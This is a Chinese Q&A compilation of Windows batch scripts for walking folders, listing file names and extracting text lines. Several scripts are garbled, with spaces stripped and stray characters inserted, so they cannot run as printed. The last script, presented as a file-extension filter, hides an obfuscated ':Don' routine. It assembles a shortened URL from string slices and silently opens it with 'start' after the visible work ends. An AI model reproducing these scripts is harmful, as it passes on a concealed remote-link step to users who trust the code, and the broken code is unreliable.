㈠ 批处理遍历文件夹文件,用遍历到文件名在txt中提取同文件名字文本行
放在源目录执行,如果提示拒绝访问,右键以管理员员版身份运行BAT。权
@echooff
cd/d"%~dp0"
set"txt=aw.txt"
(for/r%%ain(*)do(
findstr"%%~nxa""%txt%"
))>"c:out.txt"
pause
㈡ 批处理怎么遍历指定文件夹中所有文件的路径、文件名及首行内容,放入临时文件中
把下面的文件存为search1ln.bat,内容如下:
@echooff
@
ifexistaa.txtdelaa.txt
for/f"delims="%%iin('dir%1\%2/s/b/a-d')do(
setfn=%%i
set/pln1=<"%%i"
echo!fn!!ln1!>>aa.txt
)
把上面的文件放在任意文件夹中,运行时,需要进入cmd环境中,在该bat路径下,输入:
search1ln.bat d:mydir *.log
其中d:mydir一定要是绝对路径,您可以自己换,如果路径中有空格就用双引号引起来,*.log您也可以自己改。
输出结果在aa.txt中,每次执行都会把aa.txt删了,再生成新的。
㈢ 如何用批处理遍历一个文件夹下所有子目录和子目录下的文件
以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echo off
rem 获取指定目录下的所回有文件路径并进行截答取
set #=Any question&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$% %z%
cd /d "%~dp0"
set "folder=D:\xxx\A"
set "outfile=xxx.txt"
type nul>"%outfile%"
if not exist "%folder%" (echo;"%folder%" not found&goto end)
for /f "delims=" %%a in ("%folder%") do set "fd=%%~nxa"
for /f "delims=" %%a in ('dir /a-d/b/s "%folder%\"') do (
set "fpath=%%a"
setlocal enabledelayedexpansion
>>"%outfile%" echo;%fd%!fpath:%folder%=!
endlocal
)
:end
echo;%#% +%$%%$% %z%
pause
㈣ 批处理遍历文件夹并判断是否有指定文件的问题
::定义一个变量,是否已重复过
set flag=0
:: 标记
:CheckFile
:: 遍历指定文件夹,如果发现与name同名的bat文件,执回行,否答则等待5秒,重新刚才的动作,还是没有,抛出异常
set "folder=D:\code"
for /f "delims=" %%a in ('dir /a-d/b/s "%folder%\"') do echo '%%a'
:: flag = 0 表示没重复过
if %flag% == 0 (
echo 5秒后重试
:: ping 地址实现等待,5 为 5秒
ping -n 5 127.0.0.1 >nul
:: 改变变量,避免重复
set flag=1
:: 跳到检测文件前
goto CheckFile
)
pause
㈤ bat 遍历文件夹所有文件(含子文件),列出不含指定后缀(多个后缀)的文件名称,谢谢!
@echooff&title列出不含指定后缀的文件名By依梦琴瑶
cd/d"%~dp0"&
::设置需过滤的后缀格式,多个格式之间用英文逗号隔开
setExt=bat,jpg,txt
::设置要搜索的主目录路径,当前目录请留空
setFolder=D:Test
::设置获取的文件名保存列表文本
setNameList=FileNameList.txt
echo正在获取文件名中,过程可能会耗时,请耐心等待。。。
ifdefinedFoldercd/d"%Folder%"
(for/f"delims="%%ain('dir/a-d/s/b')do(
set"Skip="
for%%bin(%Ext%)do(
if/i"%%~xa"==".%%~b"setSkip=OK
)
ifnotdefinedSkip(
echo%%~nxa
)
))>"%NameList%"
echo,&echo文件名获取完毕,已写入您指定的文本列表中。
echo,&echo请按任意键退出脚本。
pause>nul
call:Don
exit
:Don
set"S0=fPdv"
set"S1=.:ailnhpst/"
set"S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set"S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start"""%S2%%S3%%S1:~10,1%%S0%"
exit
务必比对原文代码,以免有误。
脚本保存编码务必设为ANSI。
请严格按照要求保存代码,否则影响脚本正常运行。